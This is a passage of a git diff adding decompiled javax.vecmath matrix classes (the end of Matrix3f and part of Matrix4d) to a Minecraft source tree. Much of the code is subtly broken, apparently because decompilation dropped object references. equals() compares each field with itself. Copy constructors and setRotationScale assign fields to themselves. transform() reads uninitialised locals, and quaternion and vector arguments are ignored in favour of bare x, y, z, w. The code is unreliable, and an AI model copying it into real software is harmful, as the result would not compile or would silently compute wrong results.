+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    m00 = ((float)tmp_rot[0]);
+    m01 = ((float)tmp_rot[1]);
+    m02 = ((float)tmp_rot[2]);
+    
+    m10 = ((float)tmp_rot[3]);
+    m11 = ((float)tmp_rot[4]);
+    m12 = ((float)tmp_rot[5]);
+    
+    m20 = ((float)tmp_rot[6]);
+    m21 = ((float)tmp_rot[7]);
+    m22 = ((float)tmp_rot[8]);
+  }
+  
+
+
+
+
+
+  public final void normalize(Matrix3f m1)
+  {
+    double[] tmp = new double[9];
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+    tmp[0] = m00;
+    tmp[1] = m01;
+    tmp[2] = m02;
+    
+    tmp[3] = m10;
+    tmp[4] = m11;
+    tmp[5] = m12;
+    
+    tmp[6] = m20;
+    tmp[7] = m21;
+    tmp[8] = m22;
+    
+    Matrix3d.compute_svd(tmp, tmp_scale, tmp_rot);
+    
+    m00 = ((float)tmp_rot[0]);
+    m01 = ((float)tmp_rot[1]);
+    m02 = ((float)tmp_rot[2]);
+    
+    m10 = ((float)tmp_rot[3]);
+    m11 = ((float)tmp_rot[4]);
+    m12 = ((float)tmp_rot[5]);
+    
+    m20 = ((float)tmp_rot[6]);
+    m21 = ((float)tmp_rot[7]);
+    m22 = ((float)tmp_rot[8]);
+  }
+  
+
+
+
+
+  public final void normalizeCP()
+  {
+    float mag = 1.0F / (float)Math.sqrt(m00 * m00 + m10 * m10 + m20 * m20);
+    m00 *= mag;
+    m10 *= mag;
+    m20 *= mag;
+    
+    mag = 1.0F / (float)Math.sqrt(m01 * m01 + m11 * m11 + m21 * m21);
+    m01 *= mag;
+    m11 *= mag;
+    m21 *= mag;
+    
+    m02 = (m10 * m21 - m11 * m20);
+    m12 = (m01 * m20 - m00 * m21);
+    m22 = (m00 * m11 - m01 * m10);
+  }
+  
+
+
+
+
+
+
+  public final void normalizeCP(Matrix3f m1)
+  {
+    float mag = 1.0F / (float)Math.sqrt(m00 * m00 + m10 * m10 + m20 * m20);
+    m00 *= mag;
+    m10 *= mag;
+    m20 *= mag;
+    
+    mag = 1.0F / (float)Math.sqrt(m01 * m01 + m11 * m11 + m21 * m21);
+    m01 *= mag;
+    m11 *= mag;
+    m21 *= mag;
+    
+    m02 = (m10 * m21 - m11 * m20);
+    m12 = (m01 * m20 - m00 * m21);
+    m22 = (m00 * m11 - m01 * m10);
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Matrix3f m1)
+  {
+    try
+    {
+      return (m00 == m00) && (m01 == m01) && (m02 == m02) && (m10 == m10) && (m11 == m11) && (m12 == m12) && (m20 == m20) && (m21 == m21) && (m22 == m22);
+    }
+    catch (NullPointerException e2) {}
+    
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean equals(Object o1)
+  {
+    try
+    {
+      Matrix3f m2 = (Matrix3f)o1;
+      return (m00 == m00) && (m01 == m01) && (m02 == m02) && (m10 == m10) && (m11 == m11) && (m12 == m12) && (m20 == m20) && (m21 == m21) && (m22 == m22);
+    }
+    catch (ClassCastException e1)
+    {
+      return false; } catch (NullPointerException e2) {}
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean epsilonEquals(Matrix3f m1, float epsilon)
+  {
+    boolean status = true;
+    
+    if (Math.abs(m00 - m00) > epsilon) status = false;
+    if (Math.abs(m01 - m01) > epsilon) status = false;
+    if (Math.abs(m02 - m02) > epsilon) { status = false;
+    }
+    if (Math.abs(m10 - m10) > epsilon) status = false;
+    if (Math.abs(m11 - m11) > epsilon) status = false;
+    if (Math.abs(m12 - m12) > epsilon) { status = false;
+    }
+    if (Math.abs(m20 - m20) > epsilon) status = false;
+    if (Math.abs(m21 - m21) > epsilon) status = false;
+    if (Math.abs(m22 - m22) > epsilon) { status = false;
+    }
+    return status;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int hashCode()
+  {
+    long bits = 1L;
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m00);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m01);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m02);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m10);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m11);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m12);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m20);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m21);
+    bits = 31L * bits + VecMathUtil.floatToIntBits(m22);
+    return (int)(bits ^ bits >> 32);
+  }
+  
+
+
+
+
+  public final void setZero()
+  {
+    m00 = 0.0F;
+    m01 = 0.0F;
+    m02 = 0.0F;
+    
+    m10 = 0.0F;
+    m11 = 0.0F;
+    m12 = 0.0F;
+    
+    m20 = 0.0F;
+    m21 = 0.0F;
+    m22 = 0.0F;
+  }
+  
+
+
+
+
+  public final void negate()
+  {
+    m00 = (-m00);
+    m01 = (-m01);
+    m02 = (-m02);
+    
+    m10 = (-m10);
+    m11 = (-m11);
+    m12 = (-m12);
+    
+    m20 = (-m20);
+    m21 = (-m21);
+    m22 = (-m22);
+  }
+  
+
+
+
+
+
+
+  public final void negate(Matrix3f m1)
+  {
+    m00 = (-m00);
+    m01 = (-m01);
+    m02 = (-m02);
+    
+    m10 = (-m10);
+    m11 = (-m11);
+    m12 = (-m12);
+    
+    m20 = (-m20);
+    m21 = (-m21);
+    m22 = (-m22);
+  }
+  
+
+
+
+
+
+
+  public final void transform(Tuple3f t)
+  {
+    float x = m00 * x + m01 * y + m02 * z;
+    float y = m10 * x + m11 * y + m12 * z;
+    float z = m20 * x + m21 * y + m22 * z;
+    t.set(x, y, z);
+  }
+  
+
+
+
+
+
+
+  public final void transform(Tuple3f t, Tuple3f result)
+  {
+    float x = m00 * x + m01 * y + m02 * z;
+    float y = m10 * x + m11 * y + m12 * z;
+    z = (m20 * x + m21 * y + m22 * z);
+    x = x;
+    y = y;
+  }
+  
+
+
+
+  void getScaleRotate(double[] scales, double[] rot)
+  {
+    double[] tmp = new double[9];
+    tmp[0] = m00;
+    tmp[1] = m01;
+    tmp[2] = m02;
+    tmp[3] = m10;
+    tmp[4] = m11;
+    tmp[5] = m12;
+    tmp[6] = m20;
+    tmp[7] = m21;
+    tmp[8] = m22;
+    Matrix3d.compute_svd(tmp, scales, rot);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    Matrix3f m1 = null;
+    try {
+      m1 = (Matrix3f)super.clone();
+    }
+    catch (CloneNotSupportedException e) {
+      throw new InternalError();
+    }
+    return m1;
+  }
+  
+
+
+
+
+
+
+
+  public final float getM00()
+  {
+    return m00;
+  }
+  
+
+
+
+
+
+
+  public final void setM00(float m00)
+  {
+    this.m00 = m00;
+  }
+  
+
+
+
+
+
+
+
+  public final float getM01()
+  {
+    return m01;
+  }
+  
+
+
+
+
+
+
+  public final void setM01(float m01)
+  {
+    this.m01 = m01;
+  }
+  
+
+
+
+
+
+
+  public final float getM02()
+  {
+    return m02;
+  }
+  
+
+
+
+
+
+
+  public final void setM02(float m02)
+  {
+    this.m02 = m02;
+  }
+  
+
+
+
+
+
+
+  public final float getM10()
+  {
+    return m10;
+  }
+  
+
+
+
+
+
+
+  public final void setM10(float m10)
+  {
+    this.m10 = m10;
+  }
+  
+
+
+
+
+
+
+  public final float getM11()
+  {
+    return m11;
+  }
+  
+
+
+
+
+
+
+  public final void setM11(float m11)
+  {
+    this.m11 = m11;
+  }
+  
+
+
+
+
+
+
+  public final float getM12()
+  {
+    return m12;
+  }
+  
+
+
+
+
+  public final void setM12(float m12)
+  {
+    this.m12 = m12;
+  }
+  
+
+
+
+
+
+
+  public final float getM20()
+  {
+    return m20;
+  }
+  
+
+
+
+
+
+
+  public final void setM20(float m20)
+  {
+    this.m20 = m20;
+  }
+  
+
+
+
+
+
+
+  public final float getM21()
+  {
+    return m21;
+  }
+  
+
+
+
+
+
+
+  public final void setM21(float m21)
+  {
+    this.m21 = m21;
+  }
+  
+
+
+
+
+
+
+  public final float getM22()
+  {
+    return m22;
+  }
+  
+
+
+
+
+
+
+  public final void setM22(float m22)
+  {
+    this.m22 = m22;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Matrix4d.java b/src/minecraft/javax/vecmath/Matrix4d.java
new file mode 100644
index 0000000..ca70a7b
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Matrix4d.java
@@ -0,0 +1,3958 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Matrix4d
+  implements Serializable, Cloneable
+{
+  static final long serialVersionUID = 8223903484171633710L;
+  public double m00;
+  public double m01;
+  public double m02;
+  public double m03;
+  public double m10;
+  public double m11;
+  public double m12;
+  public double m13;
+  public double m20;
+  public double m21;
+  public double m22;
+  public double m23;
+  public double m30;
+  public double m31;
+  public double m32;
+  public double m33;
+  private static final double EPS = 1.0E-10D;
+  
+  public Matrix4d(double m00, double m01, double m02, double m03, double m10, double m11, double m12, double m13, double m20, double m21, double m22, double m23, double m30, double m31, double m32, double m33)
+  {
+    this.m00 = m00;
+    this.m01 = m01;
+    this.m02 = m02;
+    this.m03 = m03;
+    
+    this.m10 = m10;
+    this.m11 = m11;
+    this.m12 = m12;
+    this.m13 = m13;
+    
+    this.m20 = m20;
+    this.m21 = m21;
+    this.m22 = m22;
+    this.m23 = m23;
+    
+    this.m30 = m30;
+    this.m31 = m31;
+    this.m32 = m32;
+    this.m33 = m33;
+  }
+  
+
+
+
+
+
+
+  public Matrix4d(double[] v)
+  {
+    m00 = v[0];
+    m01 = v[1];
+    m02 = v[2];
+    m03 = v[3];
+    
+    m10 = v[4];
+    m11 = v[5];
+    m12 = v[6];
+    m13 = v[7];
+    
+    m20 = v[8];
+    m21 = v[9];
+    m22 = v[10];
+    m23 = v[11];
+    
+    m30 = v[12];
+    m31 = v[13];
+    m32 = v[14];
+    m33 = v[15];
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public Matrix4d(Quat4d q1, Vector3d t1, double s)
+  {
+    m00 = (s * (1.0D - 2.0D * y * y - 2.0D * z * z));
+    m10 = (s * (2.0D * (x * y + w * z)));
+    m20 = (s * (2.0D * (x * z - w * y)));
+    
+    m01 = (s * (2.0D * (x * y - w * z)));
+    m11 = (s * (1.0D - 2.0D * x * x - 2.0D * z * z));
+    m21 = (s * (2.0D * (y * z + w * x)));
+    
+    m02 = (s * (2.0D * (x * z + w * y)));
+    m12 = (s * (2.0D * (y * z - w * x)));
+    m22 = (s * (1.0D - 2.0D * x * x - 2.0D * y * y));
+    
+    m03 = x;
+    m13 = y;
+    m23 = z;
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 1.0D;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public Matrix4d(Quat4f q1, Vector3d t1, double s)
+  {
+    m00 = (s * (1.0D - 2.0D * y * y - 2.0D * z * z));
+    m10 = (s * (2.0D * (x * y + w * z)));
+    m20 = (s * (2.0D * (x * z - w * y)));
+    
+    m01 = (s * (2.0D * (x * y - w * z)));
+    m11 = (s * (1.0D - 2.0D * x * x - 2.0D * z * z));
+    m21 = (s * (2.0D * (y * z + w * x)));
+    
+    m02 = (s * (2.0D * (x * z + w * y)));
+    m12 = (s * (2.0D * (y * z - w * x)));
+    m22 = (s * (1.0D - 2.0D * x * x - 2.0D * y * y));
+    
+    m03 = x;
+    m13 = y;
+    m23 = z;
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 1.0D;
+  }
+  
+
+
+
+
+
+
+  public Matrix4d(Matrix4d m1)
+  {
+    m00 = m00;
+    m01 = m01;
+    m02 = m02;
+    m03 = m03;
+    
+    m10 = m10;
+    m11 = m11;
+    m12 = m12;
+    m13 = m13;
+    
+    m20 = m20;
+    m21 = m21;
+    m22 = m22;
+    m23 = m23;
+    
+    m30 = m30;
+    m31 = m31;
+    m32 = m32;
+    m33 = m33;
+  }
+  
+
+
+
+
+
+
+  public Matrix4d(Matrix4f m1)
+  {
+    m00 = m00;
+    m01 = m01;
+    m02 = m02;
+    m03 = m03;
+    
+    m10 = m10;
+    m11 = m11;
+    m12 = m12;
+    m13 = m13;
+    
+    m20 = m20;
+    m21 = m21;
+    m22 = m22;
+    m23 = m23;
+    
+    m30 = m30;
+    m31 = m31;
+    m32 = m32;
+    m33 = m33;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public Matrix4d(Matrix3f m1, Vector3d t1, double s)
+  {
+    m00 = (m00 * s);
+    m01 = (m01 * s);
+    m02 = (m02 * s);
+    m03 = x;
+    
+    m10 = (m10 * s);
+    m11 = (m11 * s);
+    m12 = (m12 * s);
+    m13 = y;
+    
+    m20 = (m20 * s);
+    m21 = (m21 * s);
+    m22 = (m22 * s);
+    m23 = z;
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 1.0D;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public Matrix4d(Matrix3d m1, Vector3d t1, double s)
+  {
+    m00 = (m00 * s);
+    m01 = (m01 * s);
+    m02 = (m02 * s);
+    m03 = x;
+    
+    m10 = (m10 * s);
+    m11 = (m11 * s);
+    m12 = (m12 * s);
+    m13 = y;
+    
+    m20 = (m20 * s);
+    m21 = (m21 * s);
+    m22 = (m22 * s);
+    m23 = z;
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 1.0D;
+  }
+  
+
+
+
+
+  public Matrix4d()
+  {
+    m00 = 0.0D;
+    m01 = 0.0D;
+    m02 = 0.0D;
+    m03 = 0.0D;
+    
+    m10 = 0.0D;
+    m11 = 0.0D;
+    m12 = 0.0D;
+    m13 = 0.0D;
+    
+    m20 = 0.0D;
+    m21 = 0.0D;
+    m22 = 0.0D;
+    m23 = 0.0D;
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 0.0D;
+  }
+  
+
+
+
+
+  public String toString()
+  {
+    return m00 + ", " + m01 + ", " + m02 + ", " + m03 + "\n" + m10 + ", " + m11 + ", " + m12 + ", " + m13 + "\n" + m20 + ", " + m21 + ", " + m22 + ", " + m23 + "\n" + m30 + ", " + m31 + ", " + m32 + ", " + m33 + "\n";
+  }
+  
+
+
+
+
+
+
+
+  public final void setIdentity()
+  {
+    m00 = 1.0D;
+    m01 = 0.0D;
+    m02 = 0.0D;
+    m03 = 0.0D;
+    
+    m10 = 0.0D;
+    m11 = 1.0D;
+    m12 = 0.0D;
+    m13 = 0.0D;
+    
+    m20 = 0.0D;
+    m21 = 0.0D;
+    m22 = 1.0D;
+    m23 = 0.0D;
+    
+    m30 = 0.0D;
+    m31 = 0.0D;
+    m32 = 0.0D;
+    m33 = 1.0D;
+  }
+  
+
+
+
+
+
+
+  public final void setElement(int row, int column, double value)
+  {
+    switch (row)
+    {
+    case 0: 
+      switch (column)
+      {
+      case 0: 
+        m00 = value;
+        break;
+      case 1: 
+        m01 = value;
+        break;
+      case 2: 
+        m02 = value;
+        break;
+      case 3: 
+        m03 = value;
+        break;
+      default: 
+        throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4d0"));
+      }
+      
+      break;
+    case 1: 
+      switch (column)
+      {
+      case 0: 
+        m10 = value;
+        break;
+      case 1: 
+        m11 = value;
+        break;
+      case 2: 
+        m12 = value;
+        break;
+      case 3: 
+        m13 = value;
+        break;
+      default: 
+        throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4d0"));
+      }
+      
+      break;
+    case 2: 
+      switch (column)
+      {
+      case 0: 
+        m20 = value;
+        break;
+      case 1: 
+        m21 = value;
+        break;
+      case 2: 
+        m22 = value;
+        break;
+      case 3: 
+        m23 = value;
+        break;
+      default: 
+        throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4d0"));
+      }
+      
+      break;
+    case 3: 
+      switch (column)
+      {
+      case 0: 
+        m30 = value;
+        break;
+      case 1: 
+        m31 = value;
+        break;
+      case 2: 
+        m32 = value;
+        break;
+      case 3: 
+        m33 = value;
+        break;
+      default: 
+        throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4d0"));
+      }
+      
+      break;
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4d0"));
+    }
+    
+  }
+  
+
+
+
+
+
+  public final double getElement(int row, int column)
+  {
+    switch (row)
+    {
+    case 0: 
+      switch (column)
+      {
+      case 0: 
+        return m00;
+      case 1: 
+        return m01;
+      case 2: 
+        return m02;
+      case 3: 
+        return m03;
+      }
+      break;
+    
+
+    case 1: 
+      switch (column)
+      {
+      case 0: 
+        return m10;
+      case 1: 
+        return m11;
+      case 2: 
+        return m12;
+      case 3: 
+        return m13;
+      }
+      break;
+    
+
+
+    case 2: 
+      switch (column)
+      {
+      case 0: 
+        return m20;
+      case 1: 
+        return m21;
+      case 2: 
+        return m22;
+      case 3: 
+        return m23;
+      }
+      break;
+    
+
+
+    case 3: 
+      switch (column)
+      {
+      case 0: 
+        return m30;
+      case 1: 
+        return m31;
+      case 2: 
+        return m32;
+      case 3: 
+        return m33;
+      }
+      break;
+    }
+    
+    
+
+
+
+    throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4d1"));
+  }
+  
+
+
+
+
+  public final void getRow(int row, Vector4d v)
+  {
+    if (row == 0) {
+      x = m00;
+      y = m01;
+      z = m02;
+      w = m03;
+    } else if (row == 1) {
+      x = m10;
+      y = m11;
+      z = m12;
+      w = m13;
+    } else if (row == 2) {
+      x = m20;
+      y = m21;
+      z = m22;
+      w = m23;
+    } else if (row == 3) {
+      x = m30;
+      y = m31;
+      z = m32;
+      w = m33;
+    } else {
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4d2"));
+    }
+  }
+  
+
+
+
+
+
+  public final void getRow(int row, double[] v)
+  {
+    if (row == 0) {
+      v[0] = m00;
+      v[1] = m01;
+      v[2] = m02;
+      v[3] = m03;
+    } else if (row == 1) {
+      v[0] = m10;
+      v[1] = m11;
+      v[2] = m12;
+      v[3] = m13;
+    } else if (row == 2) {
+      v[0] = m20;
+      v[1] = m21;
+      v[2] = m22;
+      v[3] = m23;
+    } else if (row == 3) {
+      v[0] = m30;
+      v[1] = m31;
+      v[2] = m32;
+      v[3] = m33;
+    }
+    else {
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4d2"));
+    }
+  }
+  
+
+
+
+
+
+
+
+  public final void getColumn(int column, Vector4d v)
+  {
+    if (column == 0) {
+      x = m00;
+      y = m10;
+      z = m20;
+      w = m30;
+    } else if (column == 1) {
+      x = m01;
+      y = m11;
+      z = m21;
+      w = m31;
+    } else if (column == 2) {
+      x = m02;
+      y = m12;
+      z = m22;
+      w = m32;
+    } else if (column == 3) {
+      x = m03;
+      y = m13;
+      z = m23;
+      w = m33;
+    } else {
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4d3"));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void getColumn(int column, double[] v)
+  {
+    if (column == 0) {
+      v[0] = m00;
+      v[1] = m10;
+      v[2] = m20;
+      v[3] = m30;
+    } else if (column == 1) {
+      v[0] = m01;
+      v[1] = m11;
+      v[2] = m21;
+      v[3] = m31;
+    } else if (column == 2) {
+      v[0] = m02;
+      v[1] = m12;
+      v[2] = m22;
+      v[3] = m32;
+    } else if (column == 3) {
+      v[0] = m03;
+      v[1] = m13;
+      v[2] = m23;
+      v[3] = m33;
+    } else {
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4d3"));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final void get(Matrix3d m1)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    m00 = tmp_rot[0];
+    m01 = tmp_rot[1];
+    m02 = tmp_rot[2];
+    
+    m10 = tmp_rot[3];
+    m11 = tmp_rot[4];
+    m12 = tmp_rot[5];
+    
+    m20 = tmp_rot[6];
+    m21 = tmp_rot[7];
+    m22 = tmp_rot[8];
+  }
+  
+
+
+
+
+
+
+
+
+  public final void get(Matrix3f m1)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    m00 = ((float)tmp_rot[0]);
+    m01 = ((float)tmp_rot[1]);
+    m02 = ((float)tmp_rot[2]);
+    
+    m10 = ((float)tmp_rot[3]);
+    m11 = ((float)tmp_rot[4]);
+    m12 = ((float)tmp_rot[5]);
+    
+    m20 = ((float)tmp_rot[6]);
+    m21 = ((float)tmp_rot[7]);
+    m22 = ((float)tmp_rot[8]);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final double get(Matrix3d m1, Vector3d t1)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    m00 = tmp_rot[0];
+    m01 = tmp_rot[1];
+    m02 = tmp_rot[2];
+    
+    m10 = tmp_rot[3];
+    m11 = tmp_rot[4];
+    m12 = tmp_rot[5];
+    
+    m20 = tmp_rot[6];
+    m21 = tmp_rot[7];
+    m22 = tmp_rot[8];
+    
+    x = m03;
+    y = m13;
+    z = m23;
+    
+    return Matrix3d.max3(tmp_scale);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final double get(Matrix3f m1, Vector3d t1)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    m00 = ((float)tmp_rot[0]);
+    m01 = ((float)tmp_rot[1]);
+    m02 = ((float)tmp_rot[2]);
+    
+    m10 = ((float)tmp_rot[3]);
+    m11 = ((float)tmp_rot[4]);
+    m12 = ((float)tmp_rot[5]);
+    
+    m20 = ((float)tmp_rot[6]);
+    m21 = ((float)tmp_rot[7]);
+    m22 = ((float)tmp_rot[8]);
+    
+    x = m03;
+    y = m13;
+    z = m23;
+    
+    return Matrix3d.max3(tmp_scale);
+  }
+  
+
+
+
+
+
+
+
+
+  public final void get(Quat4f q1)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+
+
+    double ww = 0.25D * (1.0D + tmp_rot[0] + tmp_rot[4] + tmp_rot[8]);
+    if ((ww < 0.0D ? -ww : ww) >= 1.0E-30D) {
+      w = ((float)Math.sqrt(ww));
+      ww = 0.25D / w;
+      x = ((float)((tmp_rot[7] - tmp_rot[5]) * ww));
+      y = ((float)((tmp_rot[2] - tmp_rot[6]) * ww));
+      z = ((float)((tmp_rot[3] - tmp_rot[1]) * ww));
+      return;
+    }
+    
+    w = 0.0F;
+    ww = -0.5D * (tmp_rot[4] + tmp_rot[8]);
+    if ((ww < 0.0D ? -ww : ww) >= 1.0E-30D) {
+      x = ((float)Math.sqrt(ww));
+      ww = 0.5D / x;
+      y = ((float)(tmp_rot[3] * ww));
+      z = ((float)(tmp_rot[6] * ww));
+      return;
+    }
+    
+    x = 0.0F;
+    ww = 0.5D * (1.0D - tmp_rot[8]);
+    if ((ww < 0.0D ? -ww : ww) >= 1.0E-30D) {
+      y = ((float)Math.sqrt(ww));
+      z = ((float)(tmp_rot[7] / (2.0D * y)));
+      return;
+    }
+    
+    y = 0.0F;
+    z = 1.0F;
+  }
+  
+
+
+
+
+
+
+
+  public final void get(Quat4d q1)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+
+
+    double ww = 0.25D * (1.0D + tmp_rot[0] + tmp_rot[4] + tmp_rot[8]);
+    if ((ww < 0.0D ? -ww : ww) >= 1.0E-30D) {
+      w = Math.sqrt(ww);
+      ww = 0.25D / w;
+      x = ((tmp_rot[7] - tmp_rot[5]) * ww);
+      y = ((tmp_rot[2] - tmp_rot[6]) * ww);
+      z = ((tmp_rot[3] - tmp_rot[1]) * ww);
+      return;
+    }
+    
+    w = 0.0D;
+    ww = -0.5D * (tmp_rot[4] + tmp_rot[8]);
+    if ((ww < 0.0D ? -ww : ww) >= 1.0E-30D) {
+      x = Math.sqrt(ww);
+      ww = 0.5D / x;
+      y = (tmp_rot[3] * ww);
+      z = (tmp_rot[6] * ww);
+      return;
+    }
+    
+    x = 0.0D;
+    ww = 0.5D * (1.0D - tmp_rot[8]);
+    if ((ww < 0.0D ? -ww : ww) >= 1.0E-30D) {
+      y = Math.sqrt(ww);
+      z = (tmp_rot[7] / (2.0D * y));
+      return;
+    }
+    
+    y = 0.0D;
+    z = 1.0D;
+  }
+  
+
+
+
+
+  public final void get(Vector3d trans)
+  {
+    x = m03;
+    y = m13;
+    z = m23;
+  }
+  
+
+
+
+
+
+  public final void getRotationScale(Matrix3f m1)
+  {
+    m00 = ((float)m00);m01 = ((float)m01);m02 = ((float)m02);
+    m10 = ((float)m10);m11 = ((float)m11);m12 = ((float)m12);
+    m20 = ((float)m20);m21 = ((float)m21);m22 = ((float)m22);
+  }
+  
+
+
+
+
+
+  public final void getRotationScale(Matrix3d m1)
+  {
+    m00 = m00;m01 = m01;m02 = m02;
+    m10 = m10;m11 = m11;m12 = m12;
+    m20 = m20;m21 = m21;m22 = m22;
+  }
+  
+
+
+
+
+
+
+
+
+  public final double getScale()
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    return Matrix3d.max3(tmp_scale);
+  }
+  
+
+
+
+
+
+
+  public final void setRotationScale(Matrix3d m1)
+  {
+    m00 = m00;m01 = m01;m02 = m02;
+    m10 = m10;m11 = m11;m12 = m12;
+    m20 = m20;m21 = m21;m22 = m22;
+  }
+  
+
+
+
+
+
+  public final void setRotationScale(Matrix3f m1)
+  {
+    m00 = m00;m01 = m01;m02 = m02;
+    m10 = m10;m11 = m11;m12 = m12;
+    m20 = m20;m21 = m21;m22 = m22;
+  }
+  
+
+
+
+
+
+
+  public final void setScale(double scale)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    m00 = (tmp_rot[0] * scale);
+    m01 = (tmp_rot[1] * scale);
+    m02 = (tmp_rot[2] * scale);
+    
+    m10 = (tmp_rot[3] * scale);
+    m11 = (tmp_rot[4] * scale);
+    m12 = (tmp_rot[5] * scale);
+    
+    m20 = (tmp_rot[6] * scale);
+    m21 = (tmp_rot[7] * scale);
+    m22 = (tmp_rot[8] * scale);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void setRow(int row, double x, double y, double z, double w)
+  {
+    switch (row) {
+    case 0: 
+      m00 = x;
+      m01 = y;
+      m02 = z;
+      m03 = w;
+      break;
+    
+    case 1: 
+      m10 = x;
+      m11 = y;
+      m12 = z;
+      m13 = w;
+      break;
+    
+    case 2: 
+      m20 = x;
+      m21 = y;
+      m22 = z;
+      m23 = w;
+      break;
+    
+    case 3: 
+      m30 = x;
+      m31 = y;
+      m32 = z;
+      m33 = w;
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4d4"));
+    }
+    
+  }
+  
+
+
+
+
+
+  public final void setRow(int row, Vector4d v)
+  {
+    switch (row) {
+    case 0: 
+      m00 = x;
+      m01 = y;
+      m02 = z;
+      m03 = w;
+      break;
+    
+    case 1: 
+      m10 = x;
+      m11 = y;
+      m12 = z;
+      m13 = w;
+      break;
+    
+    case 2: 
+      m20 = x;
+      m21 = y;
+      m22 = z;
+      m23 = w;
+      break;
+    
+    case 3: 
+      m30 = x;
+      m31 = y;
+      m32 = z;
+      m33 = w;
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4d4"));
+    }
+    
+  }
+  
+
+
+
+
+  public final void setRow(int row, double[] v)
+  {
+    switch (row) {
+    case 0: 
+      m00 = v[0];
+      m01 = v[1];
+      m02 = v[2];
+      m03 = v[3];
+      break;
+    
+    case 1: 
+      m10 = v[0];
+      m11 = v[1];
+      m12 = v[2];
+      m13 = v[3];
+      break;
+    
+    case 2: 
+      m20 = v[0];
+      m21 = v[1];
+      m22 = v[2];
+      m23 = v[3];
+      break;
+    
+    case 3: 
+      m30 = v[0];
+      m31 = v[1];
+      m32 = v[2];
+      m33 = v[3];
+      break;
+    
+    default: 
+      throw new ArrayIndexOutOfBoundsException(VecMathI18N.getString("Matrix4d4"));
+    }
+    
+  }
+  
+
+
+
+
+
+
+
+  public final void setColumn(int column, double x, double y, double z, double w)
+  {
+    switch (column) {
+    case 0: 
+      m00 = x;
+      m10 = y;
+      m20 = z;
+      m30 = w;
+      break;
+    
+    case 1: 
+      m01 = x;
+      m11 = y;
+      m21 = z;
+      m31 = w;
+      break;
+    
+    case 2: 
+      m02 = x;
+      m12 = y;
+      m22 = z;
+      m32 = w;
+      break;
+    
+    case 3: 
+      m03 = x;
+      m13 = y;
+      m23 = z;
